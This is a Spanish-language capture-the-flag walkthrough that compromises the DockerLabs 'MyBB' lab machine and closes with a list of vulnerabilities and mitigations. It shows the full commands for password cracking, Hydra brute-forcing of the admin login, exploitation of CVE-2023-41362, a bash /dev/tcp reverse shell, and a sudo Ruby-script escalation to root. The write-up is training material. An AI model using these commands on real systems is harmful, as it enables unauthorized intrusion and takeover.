Ir al contenido

MyBB

Este documento detalla la resolución completa de la máquina MyBB, desarrollada por Pylon para DockerLabs y clasificada con un nivel de dificultad Medio.

El objetivo es guiar paso a paso el proceso de compromiso del sistema:

  1. Reconocimiento: Identificación de puertos y servicios expuestos.
  2. Explotación: Obtención de ejecución remota de comandos (RCE) mediante vulnerabilidades en la aplicación web.
  3. Escalada de privilegios: Abuso de configuraciones indebidas en sudo hasta obtener acceso como root.

Todo el procedimiento se realizó en el entorno aislado de DockerLabs.


AtributoValor
NombreMyBB
AutorPylon
DificultadMedio
Fecha17/06/2024
PlataformaDockerLabs

Descomprimimos y desplegamos la máquina:

Ventana de terminal
unzip MyBB.zip
sudo bash auto_deploy.sh MyBB.tar

IP asignada


Ventana de terminal
mkdir -p MyBB/{content,exploits,nmap,gobuster,scripts}
cd MyBB

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos identificados:

  • 80/tcp — HTTP

Puertos abiertos


Iniciamos con un escaneo básico:

Ventana de terminal
feroxbuster -u http://172.17.0.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/DirectoryList2.3-medium.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

Este primer escaneo no muestra rutas importantes. Sin embargo, revisando manualmente el index, encontramos un dominio:

panel.mybb.dl

Lo agregamos a /etc/hosts.


Realizamos un segundo escaneo:

Ventana de terminal
feroxbuster -u http://panel.mybb.dl -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

Se encuentran múltiples rutas relevantes:

feroxbuster scan

Rutas relevantes:

  • / — Página principal del sitio.
  • /backups — Directorio navegable que contiene un archivo data. content of backups
  • /admin — Panel de inicio de sesión. content of login

En el directorio /backups encontramos el archivo data, que contiene:

content of data

Entre los registros aparece una contraseña hasheada, que crackeamos con John:

Ventana de terminal
john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt alice.hash

Resultado:

john result

Esto nos da credenciales para alice, aunque no funcionan en el login /admin. Guardamos esos datos: serán útiles más adelante.


Sabemos que el panel usa MyBB, así que intentamos fuerza bruta:

Ventana de terminal
hydra -l 'admin' -P /usr/share/wordlists/rockyou.txt \
panel.mybb.dl http-post-form \
"/admin/index.php:username=^USER^&password=^PASS^&do=login:username and password"

Tras varios falsos positivos, la última credencial es válida y accedemos al panel de administración.

Dentro del panel observamos la versión:

MyBB 1.8.35

Esta versión es vulnerable a CVE-2023-41362 (RCE en el ACP).

Usamos este exploit:

👉 https://github.com/SorceryIE/CVE-2023-41362_MyBB_ACP_RCE

Lo ejecutamos:

Ventana de terminal
exploit.py http://panel.mybb.dl admin babygirl

Esto nos da una pseudo-shell. Intentamos obtener una reverse shell:


Listener:

Ventana de terminal
nc -nlvp 443

En la pseudo-shell:

Ventana de terminal
/bin/bash -c '/bin/bash -i >& /dev/tcp/172.17.0.1/443 0>&1'

Y obtenemos acceso como www-data:

www-data reverseshell


Aquí utilizamos las credenciales previamente crackeadas.

Ventana de terminal
su alice

su alice


Permisos sudo:

sudo -l alice

Alice puede ejecutar cualquier script .rb dentro de ~/scripts como root.

Creamos uno malicioso:

Ventana de terminal
echo 'exec "/bin/bash"' > ~/scripts/shell.rb
chmod +x ~/scripts/shell.rb
sudo ./shell.rb

Con esto obtenemos root:

root


  • Contraseña de usuario almacenada en texto plano dentro de archivos de respaldo.
  • Panel MyBB sin actualización, vulnerable a RCE (CVE-2023-41362).
  • Permisos sudo excesivamente amplios para el usuario alice, permitiendo ejecución arbitraria de scripts Ruby.
  • Directorios accesibles sin autenticación (/backups).

  • Actualizar MyBB a la última versión disponible.
  • Proteger directorios sensibles como /backups y restringir listados.
  • Usar hashing moderno (bcrypt/argon2) para contraseñas.
  • Limitar permisos sudo y aplicar principio de mínimo privilegio.
  • Implementar monitoreo y alertas para detectar accesos no autorizados.